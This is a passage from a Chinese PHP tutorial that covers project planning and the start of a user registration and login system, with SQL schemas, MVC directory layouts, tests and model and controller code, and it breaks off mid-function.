  • 作品展示:向面试官展示你的实际能力
  • 经验积累:获得类似真实工作的开发经验
  • 信心建立:通过完成项目建立编程自信

项目开发流程概述

一个完整的PHP项目通常包含以下阶段:

1. 需求分析阶段

需求收集 → 功能分析 → 技术选型 → 架构设计

2. 开发实施阶段

环境搭建 → 数据库设计 → 核心功能开发 → 测试调试

3. 部署上线阶段

服务器配置 → 代码部署 → 功能测试 → 性能优化

4. 维护迭代阶段

问题修复 → 功能升级 → 性能监控 → 用户反馈

本章项目概览

项目1:用户注册登录系统

难度等级:⭐⭐☆☆☆ 预计时间:3-5天 核心功能

  • 用户注册(表单验证、数据存储)
  • 用户登录(身份验证、会话管理)
  • 密码重置(邮件发送、安全性)
  • 用户权限管理(角色区分、访问控制)

技术要点

  • PHP表单处理和验证
  • MySQL数据库操作
  • Session和Cookie管理
  • 密码加密和安全防护
  • 邮件发送功能

项目2:博客系统

难度等级:⭐⭐⭐⭐☆ 预计时间:7-10天 核心功能

  • 文章管理(发布、编辑、删除)
  • 分类和标签系统
  • 用户评论功能
  • 搜索功能
  • 后台管理界面

技术要点

  • 复杂的数据库设计和操作
  • 文件上传和处理
  • 分页显示
  • 全文搜索
  • 管理员界面设计

开发环境准备

必要软件

  1. Web服务器:Apache 或 Nginx
  2. PHP环境:PHP 7.4+ (推荐PHP 8.0+)
  3. 数据库:MySQL 5.7+ 或 MariaDB 10.2+
  4. 开发工具
    • 代码编辑器:VS Code
    • 数据库管理:phpMyAdmin
    • 版本控制:Git
    • 调试工具:Xdebug

项目目录结构建议

project-root/
├── public/              # Web根目录
│   ├── index.php
│   ├── css/
│   ├── js/
│   └── images/
├── src/                 # 源代码
│   ├── controllers/
│   ├── models/
│   ├── views/
│   └── helpers/
├── config/              # 配置文件
├── uploads/             # 上传文件
├── logs/                # 日志文件
├── vendor/              # 第三方库
├── database/            # 数据库相关
│   ├── migrations/
│   └── seeds/
├── docs/                # 项目文档
├── tests/               # 测试文件
├── .gitignore
├── composer.json
└── README.md

学习建议

1. 循序渐进

  • 先完成项目1:建立信心,掌握基础流程
  • 再挑战项目2:综合运用,提升技能
  • 最后扩展功能:根据兴趣添加个性化功能

2. 注重质量

  • 代码规范:遵循PSR编码标准
  • 安全第一:注意SQL注入、XSS等安全问题
  • 性能考虑:优化查询,避免不必要的计算
  • 用户体验:设计友好的界面和交互

3. 记录总结

  • 开发日志:记录每天的开发进展和遇到的问题
  • 代码注释:为复杂逻辑添加详细注释
  • 经验总结:项目完成后总结经验和教训

常见问题解答

Q1:我需要完全按照教程来做吗?

A:不需要。教程提供的是参考方案,你可以:

  • 根据自己的理解调整实现方式
  • 添加自己感兴趣的功能
  • 使用不同的技术栈(如其他数据库)

Q2:遇到问题时该怎么办?

A

  1. 仔细阅读错误信息:大部分问题都有明确的错误提示
  2. 查阅文档:查看PHP官方文档和相关资料
  3. 搜索引擎:在Google、Stack Overflow等平台搜索
  4. 社区求助:在PHP相关论坛或群组提问

Q3:项目完成后如何部署?

A

  1. 购买域名和服务器:选择合适的主机服务
  2. 配置服务器环境:安装必要的软件
  3. 上传代码:将项目文件部署到服务器
  4. 配置数据库:导入数据库结构和数据
  5. 测试访问:确保所有功能正常运行

本章学习成果

完成本章学习后,你将获得:

技能成果

  • 独立开发PHP Web应用的能力
  • 数据库设计和操作经验
  • 前后端交互的实现经验
  • 项目部署和维护的基本技能

作品成果

  • 2个完整的PHP项目作品
  • 可以展示给潜在雇主的项目案例
  • 个人作品集的重要组成

经验成果

  • 真实项目的开发经验
  • 问题解决和调试能力
  • 项目规划和时间管理能力

激励与展望

从学习到实战的跨越

你已经从PHP初学者成长为具备实际开发能力的开发者。这是一个重要的里程碑!

持续学习的道路

PHP开发是一个不断学习和进步的领域:

  • 深入学习:框架、设计模式、高级特性
  • 技术扩展:前端技术、DevOps、云计算
  • 行业趋势:微服务、API开发、人工智能

职业发展前景

掌握PHP开发技能为你打开了多种职业可能:

  • Web开发工程师
  • 全栈开发工程师
  • PHP技术专家
  • 技术架构师
  • 自由职业者

开始你的实战之旅

现在,让我们开始激动人心的项目开发之旅!

记住:

  • 不怕犯错:错误是学习的机会
  • 勇于尝试:敢于尝试不同的解决方案
  • 享受过程:享受创造和解决问题的乐趣
  • 保持好奇:对新技术保持开放和学习的态度

准备好了吗?让我们从项目规划开始,创建你的第一个完整的PHP项目吧!


下一节项目规划 - 学习如何科学地规划和管理你的PHP项目。

项目规划

为什么需要项目规划?

在开始编写代码之前,良好的项目规划是成功的关键。项目规划不仅能帮助我们理清思路,还能避免开发过程中的混乱和返工。

项目规划的好处

  1. 明确目标:清楚地知道要实现什么功能
  2. 合理分配资源:预估时间,合理安排开发进度
  3. 降低风险:提前识别可能的问题和挑战
  4. 提高效率:避免重复工作和方向错误
  5. 便于协作:如果是团队项目,规划是协作的基础

需求分析

1. 需求收集

从用户角度思考

  • 用户是谁?
  • 用户需要什么功能?
  • 用户如何使用系统?
  • 用户会遇到什么问题?

业务需求示例

以用户注册登录系统为例:

基本需求

  • 用户可以通过邮箱注册
  • 用户可以使用邮箱和密码登录
  • 用户可以重置忘记的密码
  • 用户可以查看和修改个人信息

扩展需求

  • 支持手机号注册
  • 支持第三方登录(微信、QQ等)
  • 用户权限管理(普通用户、管理员)
  • 登录记录和安全日志

2. 功能列表

创建详细的功能清单,将需求转化为具体的开发任务:

# 用户注册登录系统功能清单

## 核心功能
- [ ] 用户注册
  - [ ] 邮箱验证
  - [ ] 密码强度检查
  - [ ] 防机器人验证
- [ ] 用户登录
  - [ ] 记住登录状态
  - [ ] 登录失败锁定
  - [ ] 登录日志记录
- [ ] 密码重置
  - [ ] 邮件验证码
  - [ ] 安全链接
  - [ ] 一次性使用

## 用户管理
- [ ] 个人资料查看
- [ ] 个人资料修改
- [ ] 密码修改
- [ ] 账户注销
- [ ] 权限管理

## 安全功能
- [ ] SQL注入防护
- [ ] XSS攻击防护
- [ ] CSRF防护
- [ ] 会话安全

技术选型

1. 选择合适的技术栈

根据项目需求选择技术:

后端技术

  • PHP版本:PHP 7.4+(推荐PHP 8.0+)
  • Web服务器:Apache 或 Nginx
  • 数据库:MySQL 5.7+ 或 MariaDB 10.2+

开发框架选择

// 原生PHP - 适合学习
// 优点:深入了解PHP工作原理
// 缺点:开发效率较低,需要处理大量细节

// 轻量级框架 - 适合小型项目
// 例如:Slim, CodeIgniter
// 优点:开发效率高,学习曲线平缓

// 全功能框架 - 适合大型项目
// 例如:Laravel, Symfony
// 优点:功能完善,生态系统好

2. 项目架构设计

MVC架构模式

Model(模型)      View(视图)       Controller(控制器)
     |                 |                     |
数据处理         用户界面          业务逻辑控制
     |                 |                     |
数据库操作         HTML/CSS         接收请求、响应
     |                 |                     |

目录结构设计

auth-system/
├── public/                 # Web根目录
│   ├── index.php         # 入口文件
│   ├── css/              # 样式文件
│   ├── js/               # JavaScript文件
│   └── images/           # 图片资源
├── src/                   # 源代码目录
│   ├── controllers/      # 控制器
│   │   ├── AuthController.php
│   │   ├── UserController.php
│   │   └── BaseController.php
│   ├── models/           # 模型
│   │   ├── User.php
│   │   ├── Auth.php
│   │   └── Database.php
│   ├── views/            # 视图
│   │   ├── auth/
│   │   │   ├── login.php
│   │   │   ├── register.php
│   │   │   └── reset.php
│   │   └── user/
│   │       ├── profile.php
│   │       └── edit.php
│   ├── helpers/          # 辅助类
│   │   ├── Validator.php
│   │   ├── Mailer.php
│   │   └── Session.php
│   └── config/           # 配置文件
│       ├── database.php
│       ├── app.php
│       └── email.php
├── uploads/              # 上传文件
├── logs/                 # 日志文件
├── vendor/               # 第三方库(Composer)
├── database/             # 数据库相关
│   ├── migrations/       # 数据库迁移
│   └── seeds/            # 测试数据
├── docs/                 # 项目文档
├── tests/                # 测试文件
├── .gitignore
├── composer.json
└── README.md

数据库设计

1. 设计数据库表结构

用户表(users)

CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    email_verified BOOLEAN DEFAULT FALSE,
    email_verification_token VARCHAR(255),
    status ENUM('active', 'inactive', 'suspended') DEFAULT 'inactive',
    role ENUM('user', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    last_login_at TIMESTAMP NULL
);

用户资料表(user_profiles)

CREATE TABLE user_profiles (
    user_id INT PRIMARY KEY,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    phone VARCHAR(20),
    avatar VARCHAR(255),
    bio TEXT,
    birth_date DATE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

密码重置表(password_resets)

CREATE TABLE password_resets (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    token VARCHAR(255) NOT NULL,
    expires_at TIMESTAMP NOT NULL,
    used BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

登录日志表(login_logs)

CREATE TABLE login_logs (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT,
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    success BOOLEAN NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL
);

2. 数据库关系图

users (用户表)
    ├── has_one ─── user_profiles (用户资料)
    ├── has_many ─── password_resets (密码重置)
    └── has_many ─── login_logs (登录日志)

开发计划

1. 制定开发时间表

使用甘特图或简单的表格来规划开发进度:

功能模块预计时间开始时间结束时间状态
项目搭建0.5天Day 1Day 1
用户注册1天Day 1Day 2
用户登录1天Day 2Day 3
密码重置1天Day 3Day 4
用户资料0.5天Day 4Day 4
管理后台0.5天Day 4Day 5
测试调试0.5天Day 5Day 5
部署上线0.5天Day 5Day 5

2. 迭代开发策略

第一迭代(MVP - 最小可行产品)

  • 用户注册(基本功能)
  • 用户登录
  • 基本的会话管理

第二迭代(核心功能)

  • 邮箱验证
  • 密码重置
  • 用户资料管理

第三迭代(增强功能)

  • 权限管理
  • 安全日志
  • 管理后台

开发环境搭建

1. 本地开发环境

使用XAMPP(Windows)

1. 下载并安装XAMPP
2. 启动Apache和MySQL
3. 创建项目目录:C:/xampp/htdocs/auth-system/
4. 配置虚拟主机(可选)

使用Docker(跨平台)

# Dockerfile
FROM php:8.0-apache

# 安装必要扩展
RUN docker-php-ext-install pdo_mysql mysqli

# 启用Apache模块
RUN a2enmod rewrite

# 设置工作目录
WORKDIR /var/www/html

# 复制项目文件
COPY . /var/www/html/

# 设置权限
RUN chown -R www-data:www-data /var/www/html

EXPOSE 80

2. 开发工具配置

VS Code配置

{
    "php.validate.executablePath": "/usr/bin/php",
    "php.debug.executablePath": "/usr/bin/php",
    "files.associations": {
        "*.php": "php"
    },
    "emmet.includeLanguages": {
        "php": "html"
    }
}

代码规范

1. PSR编码标准

遵循PSR-1和PSR-12编码规范:

<?php
namespace App\Controllers;

use App\Models\User;
use App\Helpers\Validator;

class AuthController
{
    private $user;
    private $validator;

    public function __construct()
    {
        $this->user = new User();
        $this->validator = new Validator();
    }

    /**
     * 处理用户注册
     *
     * @param array $data 注册数据
     * @return array 注册结果
     */
    public function register(array $data): array
    {
        // 验证数据
        if (!$this->validator->validate($data)) {
            return [
                'success' => false,
                'message' => '数据验证失败'
            ];
        }

        // 创建用户
        $userId = $this->user->create($data);

        if ($userId) {
            return [
                'success' => true,
                'user_id' => $userId,
                'message' => '注册成功'
            ];
        }

        return [
            'success' => false,
            'message' => '注册失败'
        ];
    }
}

2. 命名规范

  • 类名:使用大驼峰命名法(PascalCase)
  • 方法名:使用小驼峰命名法(camelCase)
  • 变量名:使用小驼峰命名法(camelCase)
  • 常量名:使用大写下划线命名(UPPER_SNAKE_CASE)

测试策略

1. 单元测试

<?php
use PHPUnit\Framework\TestCase;

class AuthControllerTest extends TestCase
{
    private $authController;

    protected function setUp(): void
    {
        $this->authController = new AuthController();
    }

    public function testRegisterSuccess()
    {
        $data = [
            'username' => 'testuser',
            'email' => 'test@example.com',
            'password' => 'password123'
        ];

        $result = $this->authController->register($data);

        $this->assertTrue($result['success']);
        $this->assertArrayHasKey('user_id', $result);
    }

    public function testRegisterWithInvalidEmail()
    {
        $data = [
            'username' => 'testuser',
            'email' => 'invalid-email',
            'password' => 'password123'
        ];

        $result = $this->authController->register($data);

        $this->assertFalse($result['success']);
    }
}

2. 集成测试

<?php
class AuthIntegrationTest extends TestCase
{
    public function testCompleteRegistrationFlow()
    {
        // 1. 用户注册
        $registerData = [
            'username' => 'newuser',
            'email' => 'newuser@example.com',
            'password' => 'securepassword'
        ];

        $registerResult = $this->post('/register', $registerData);
        $this->assertEquals(200, $registerResult->getStatusCode());

        // 2. 用户登录
        $loginData = [
            'email' => 'newuser@example.com',
            'password' => 'securepassword'
        ];

        $loginResult = $this->post('/login', $loginData);
        $this->assertEquals(200, $loginResult->getStatusCode());
        $this->assertArrayHasKey('token', json_decode($loginResult->getContent(), true));
    }
}

风险评估

1. 技术风险

风险概率影响应对措施
数据库性能问题设计合理的索引,优化查询
安全漏洞遵循安全编码规范,进行安全测试
第三方依赖问题选择稳定的库,准备替代方案
部署环境兼容性充分测试,准备多个环境

2. 进度风险

风险概率影响应对措施
功能需求变更采用敏捷开发,预留缓冲时间
技术难点拖延提前调研,准备备选方案
测试时间不足在开发过程中同步进行测试

文档编写

1. 技术文档

README.md

# 用户注册登录系统

## 项目简介
一个安全、可靠的用户认证系统。

## 功能特性
- 用户注册和登录
- 邮箱验证
- 密码重置
- 用户权限管理

## 技术栈
- PHP 8.0
- MySQL 8.0
- Bootstrap 5
- jQuery 3.6

## 安装部署
详见 [部署文档](docs/deployment.md)

## API文档
详见 [API文档](docs/api.md)

API文档

# API文档

## 用户注册
POST /api/register

### 请求参数
```json
{
    "username": "string",
    "email": "string",
    "password": "string",
    "confirm_password": "string"
}

响应

{
    "success": true,
    "message": "注册成功",
    "user_id": 123
}

### 2. 用户文档

#### 用户手册
- 注册流程说明
- 功能使用指南
- 常见问题解答
- 联系方式

## 部署规划

### 1. 生产环境准备

#### 服务器配置要求

最低配置:

  • CPU: 1核心
  • 内存: 1GB
  • 存储: 20GB SSD
  • 带宽: 5Mbps

推荐配置:

  • CPU: 2核心
  • 内存: 2GB
  • 存储: 50GB SSD
  • 带宽: 10Mbps

### 2. 部署检查清单

```markdown
## 部署前检查
- [ ] 代码审查完成
- [ ] 测试通过
- [ ] 安全检查完成
- [ ] 文档更新

## 部署后检查
- [ ] 功能测试
- [ ] 性能测试
- [ ] 安全扫描
- [ ] 备份设置

项目管理工具

1. 版本控制

# Git工作流程
git clone <repository>
git checkout -b feature/user-registration
# 开发功能
git add .
git commit -m "feat: 添加用户注册功能"
git push origin feature/user-registration
# 创建Pull Request

2. 项目跟踪

使用Trello或简单的表格跟踪进度:

任务负责人状态截止日期
数据库设计张三完成2024-01-01
注册功能李四进行中2024-01-02
登录功能王五待开始2024-01-03

总结

良好的项目规划是成功的基础。通过本章的学习,你应该掌握了:

  1. 如何进行需求分析和功能设计
  2. 如何选择合适的技术栈和架构
  3. 如何设计数据库结构
  4. 如何制定合理的开发计划
  5. 如何进行风险评估和应对

记住,规划不是一成不变的。在开发过程中,要根据实际情况灵活调整,但始终保持对目标的清晰认识。

下一步,让我们开始实际开发第一个项目——用户注册登录系统!

用户注册登录系统

项目概述

用户注册登录系统是Web应用的基础组件,几乎所有的Web应用都需要用户认证功能。这个项目将综合运用前面所学的PHP知识,包括数据库操作、表单处理、会话管理、安全防护等。

项目目标

完成本项目后,你将能够:

  • 掌握完整的用户认证系统开发
  • 理解MVC架构的实际应用
  • 实现安全的密码存储和验证
  • 处理表单验证和错误处理
  • 实现会话管理和权限控制
  • 学会邮件发送功能
  • 掌握安全编码实践

功能特性

核心功能

  • 用户注册(邮箱验证)
  • 用户登录(记住登录状态)
  • 密码重置(通过邮件)
  • 用户资料管理
  • 登出功能

安全特性

  • 密码哈希存储
  • SQL注入防护
  • XSS攻击防护
  • CSRF防护
  • 登录失败锁定
  • 会话安全

系统架构

目录结构

auth-system/
├── public/                    # Web根目录
│   ├── index.php            # 入口文件
│   ├── css/
│   │   └── style.css         # 样式文件
│   ├── js/
│   │   └── script.js         # JavaScript文件
│   └── uploads/              # 上传文件
├── src/                      # 源代码
│   ├── config/
│   │   ├── database.php      # 数据库配置
│   │   ├── app.php           # 应用配置
│   │   └── constants.php     # 常量定义
│   ├── controllers/
│   │   ├── BaseController.php
│   │   ├── AuthController.php
│   │   └── UserController.php
│   ├── models/
│   │   ├── Database.php       # 数据库基类
│   │   ├── User.php           # 用户模型
│   │   ├── Auth.php           # 认证模型
│   │   └── PasswordReset.php  # 密码重置模型
│   ├── views/
│   │   ├── layouts/
│   │   │   ├── header.php
│   │   │   └── footer.php
│   │   ├── auth/
│   │   │   ├── login.php
│   │   │   ├── register.php
│   │   │   └── reset.php
│   │   └── user/
│   │       ├── dashboard.php
│   │       ├── profile.php
│   │       └── edit.php
│   └── helpers/
│       ├── Validator.php     # 验证助手
│       ├── Session.php       # 会话助手
│       ├── Mailer.php        # 邮件助手
│       └── Security.php      # 安全助手
├── database/
│   ├── create_tables.sql      # 建表SQL
│   └── seed_data.sql         # 测试数据
├── logs/                      # 日志目录
├── README.md
└── .htaccess                  # Apache配置

数据库设计

1. 创建数据库表

-- database/create_tables.sql

-- 用户表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    email_verified BOOLEAN DEFAULT FALSE,
    email_verification_token VARCHAR(255),
    status ENUM('active', 'inactive', 'suspended') DEFAULT 'inactive',
    role ENUM('user', 'admin') DEFAULT 'user',
    failed_attempts INT DEFAULT 0,
    locked_until TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    last_login_at TIMESTAMP NULL
);

-- 用户资料表
CREATE TABLE user_profiles (
    user_id INT PRIMARY KEY,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    phone VARCHAR(20),
    avatar VARCHAR(255),
    bio TEXT,
    birth_date DATE,
    gender ENUM('male', 'female', 'other'),
    website VARCHAR(255),
    location VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- 密码重置表
CREATE TABLE password_resets (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    token VARCHAR(255) NOT NULL,
    expires_at TIMESTAMP NOT NULL,
    used BOOLEAN DEFAULT FALSE,
    ip_address VARCHAR(45),
    user_agent TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- 登录日志表
CREATE TABLE login_logs (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT,
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    success BOOLEAN NOT NULL,
    failure_reason VARCHAR(255),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL
);

-- 会话表
CREATE TABLE user_sessions (
    id INT PRIMARY KEY AUTO_INCREMENT,
    session_id VARCHAR(255) UNIQUE NOT NULL,
    user_id INT NOT NULL,
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    expires_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- 创建索引
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_password_resets_token ON password_resets(token);
CREATE INDEX idx_password_resets_expires ON password_resets(expires_at);
CREATE INDEX idx_login_logs_user_id ON login_logs(user_id);
CREATE INDEX idx_login_logs_created_at ON login_logs(created_at);
CREATE INDEX idx_user_sessions_session_id ON user_sessions(session_id);
CREATE INDEX idx_user_sessions_expires_at ON user_sessions(expires_at);

核心代码实现

1. 配置文件

数据库配置 (src/config/database.php)

<?php
class Database {
    private static $instance = null;
    private $pdo;
    private $host = 'localhost';
    private $dbname = 'auth_system';
    private $username = 'root';
    private $password = '';
    private $charset = 'utf8mb4';

    private function __construct() {
        $dsn = "mysql:host={$this->host};dbname={$this->dbname};charset={$this->charset}";

        $options = [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false,
            PDO::ATTR_PERSISTENT => true
        ];

        try {
            $this->pdo = new PDO($dsn, $this->username, $this->password, $options);
        } catch (PDOException $e) {
            die("数据库连接失败: " . $e->getMessage());
        }
    }

    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    public function getConnection() {
        return $this->pdo;
    }

    public function query($sql, $params = []) {
        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute($params);
            return $stmt;
        } catch (PDOException $e) {
            error_log("查询错误: " . $e->getMessage());
            throw new Exception("数据库操作失败");
        }
    }

    public function beginTransaction() {
        return $this->pdo->beginTransaction();
    }

    public function commit() {
        return $this->pdo->commit();
    }

    public function rollBack() {
        return $this->pdo->rollBack();
    }

    public function lastInsertId() {
        return $this->pdo->lastInsertId();
    }
}

2. 基础控制器 (src/controllers/BaseController.php)

<?php
class BaseController {
    protected $db;

    public function __construct() {
        $this->db = Database::getInstance()->getConnection();
    }

    protected function render($view, $data = []) {
        extract($data);

        // 包含头部
        include __DIR__ . '/../views/layouts/header.php';

        // 包含视图
        include __DIR__ . '/../views/' . $view;

        // 包含尾部
        include __DIR__ . '/../views/layouts/footer.php';
    }

    protected function json($data, $statusCode = 200) {
        http_response_code($statusCode);
        header('Content-Type: application/json');
        echo json_encode($data);
        exit;
    }

    protected function redirect($url) {
        header("Location: {$url}");
        exit;
    }

    protected function isPost() {
        return $_SERVER['REQUEST_METHOD'] === 'POST';
    }

    protected function getPost($key = null, $default = null) {
        if ($key === null) {
            return $_POST;
        }
        return $_POST[$key] ?? $default;
    }

    protected function getGet($key = null, $default = null) {
        if ($key === null) {
            return $_GET;
        }
        return $_GET[$key] ?? $default;
    }

    protected function getSession($key = null, $default = null) {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }

        if ($key === null) {
            return $_SESSION;
        }
        return $_SESSION[$key] ?? $default;
    }

    protected function setSession($key, $value) {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
        $_SESSION[$key] = $value;
    }

    protected function unsetSession($key) {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
        unset($_SESSION[$key]);
    }
}

3. 用户模型 (src/models/User.php)

<?php
require_once __DIR__ . '/../config/database.php';

class User extends BaseController {

    public function create($userData) {
        // 验证邮箱是否已存在
        if ($this->findByEmail($userData['email'])) {
            throw new Exception("邮箱已被注册");
        }

        // 验证用户名是否已存在
        if ($this->findByUsername($userData['username'])) {
            throw new Exception("用户名已被使用");
        }

        // 密码哈希
        $passwordHash = password_hash($userData['password'], PASSWORD_DEFAULT);
        $emailToken = bin2hex(random_bytes(32));

        $sql = "INSERT INTO users (username, email, password_hash, email_verification_token, status, created_at)
                VALUES (?, ?, ?, ?, 'inactive', NOW())";

        $params = [
            $userData['username'],
            $userData['email'],
            $passwordHash,
            $emailToken
        ];

        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);

        $userId = $this->db->lastInsertId();

        // 创建用户资料记录
        $this->createProfile($userId);

        return $userId;
    }

    public function authenticate($email, $password, $ip = null) {
        $user = $this->findByEmail($email);

        if (!$user) {
            // 记录失败日志
            $this->recordLoginAttempt(null, $ip, false, '用户不存在');
            return false;
        }

        // 检查账户状态
        if ($user['status'] !== 'active') {
            $this->recordLoginAttempt($user['id'], $ip, false, '账户未激活');
            return false;
        }

        // 检查账户是否被锁定
        if ($user['locked_until'] && strtotime($user['locked_until']) > time()) {
            $this->recordLoginAttempt($user['id'], $ip, false, '账户被锁定');
            return false;
        }

        // 验证密码
        if (!password_verify($password, $user['password_hash'])) {
            $this->handleFailedLogin($user, $ip);
            return false;
        }

        // 登录成功
        $this->handleSuccessfulLogin($user, $ip);

        return $user;
    }

    public function findById($id) {
        $sql = "SELECT u.*, p.first_name, p.last_name, p.avatar, p.bio
                FROM users u
                LEFT JOIN user_profiles p ON u.id = p.user_id
                WHERE u.id = ? AND u.status = 'active'";

        $stmt = $this->db->prepare($sql);
        $stmt->execute([$id]);

        return $stmt->fetch();
    }

    public function findByEmail($email) {
        $sql = "SELECT * FROM users WHERE email = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$email]);

        return $stmt->fetch();
    }

    public function findByUsername($username) {
        $sql = "SELECT * FROM users WHERE username = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$username]);

        return $stmt->fetch();
    }

    public function updateProfile($userId, $profileData) {
        $sql = "UPDATE user_profiles
                SET first_name = ?, last_name = ?, phone = ?, bio = ?,
                    gender = ?, birth_date = ?, website = ?, location = ?
                WHERE user_id = ?";

        $params = [
            $profileData['first_name'],
            $profileData['last_name'],
            $profileData['phone'],
            $profileData['bio'],
            $profileData['gender'],
            $profileData['birth_date'],
            $profileData['website'],
            $profileData['location'],
            $userId
        ];

        $stmt = $this->db->prepare($sql);
        return $stmt->execute($params);
    }

    public function updatePassword($userId, $newPassword) {
        $passwordHash = password_hash($newPassword, PASSWORD_DEFAULT);

        $sql = "UPDATE users SET password_hash = ?, updated_at = NOW() WHERE id = ?";
        $stmt = $this->db->prepare($sql);

        return $stmt->execute([$passwordHash, $userId]);
    }

    public function verifyEmail($token) {
        $sql = "SELECT id FROM users WHERE email_verification_token = ? AND status = 'inactive'";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$token]);

        $user = $stmt->fetch();

        if ($user) {
            $sql = "UPDATE users SET status = 'active', email_verified = TRUE,
                             email_verification_token = NULL, updated_at = NOW()
                     WHERE id = ?";
            $stmt = $this->db->prepare($sql);
            $stmt->execute([$user['id']]);

            return true;
        }

        return false;
    }

    private function createProfile($userId) {
        $sql = "INSERT INTO user_profiles (user_id, created_at) VALUES (?, NOW())";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$userId]);
    }

    private function handleFailedLogin($user, $ip) {
        // 增加失败次数
        $failedAttempts = $user['failed_attempts'] + 1;

        $sql = "UPDATE users SET failed_attempts = ?, updated_at = NOW() WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$failedAttempts, $user['id']]);

        // 如果失败次数达到5次,锁定账户30分钟
        if ($failedAttempts >= 5) {
            $lockedUntil = date('Y-m-d H:i:s', time() + 1800);
            $sql = "UPDATE users SET locked_until = ? WHERE id = ?";
            $stmt = $this->db->prepare($sql);
            $stmt->execute([$lockedUntil, $user['id']]);

            $this->recordLoginAttempt($user['id'], $ip, false, '账户被锁定');
        } else {
            $this->recordLoginAttempt($user['id'], $ip, false, '密码错误');
        }
    }

    private function handleSuccessfulLogin($user, $ip) {
        // 重置失败次数
        $sql = "UPDATE users SET failed_attempts = 0, locked_until = NULL,
                             last_login_at = NOW(), updated_at = NOW()
                     WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$user['id']]);

        // 记录成功登录
        $this->recordLoginAttempt($user['id'], $ip, true);
    }

    private function recordLoginAttempt($userId, $ip, $success, $reason = null) {
        $sql = "INSERT INTO login_logs (user_id, ip_address, user_agent, success, failure_reason, created_at)
                VALUES (?, ?, ?, ?, ?, NOW())";

        $params = [
            $userId,
            $ip ?? $_SERVER['REMOTE_ADDR'],
            $_SERVER['HTTP_USER_AGENT'] ?? null,
            $success,
            $reason
        ];

        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);
    }
}

4. 认证控制器 (src/controllers/AuthController.php)

<?php
require_once 'BaseController.php';
require_once __DIR__ . '/../models/User.php';
require_once __DIR__ . '/../models/PasswordReset.php';
require_once __DIR__ . '/../helpers/Validator.php';
require_once __DIR__ . '/../helpers/Mailer.php';
require_once __DIR__ . '/../helpers/Security.php';

class AuthController extends BaseController {
    private $user;
    private $passwordReset;

    public function __construct() {
        parent::__construct();
        $this->user = new User();
        $this->passwordReset = new PasswordReset();
    }

    // 显示注册页面
    public function register() {
        if ($this->getSession('user_id')) {
            $this->redirect('dashboard.php');
        }

        $this->render('auth/register.php');
    }

    // 处理注册请求
    public function doRegister() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求方法']);
        }

        $data = [
            'username' => trim($this->getPost('username')),
            'email' => trim($this->getPost('email')),
            'password' => $this->getPost('password'),
            'confirm_password' => $this->getPost('confirm_password')
        ];

        // 验证数据
        $validator = new Validator();
        $errors = $validator->validateRegistration($data);

        if (!empty($errors)) {
            $this->json(['success' => false, 'errors' => $errors]);
        }

        try {
            // CSRF保护
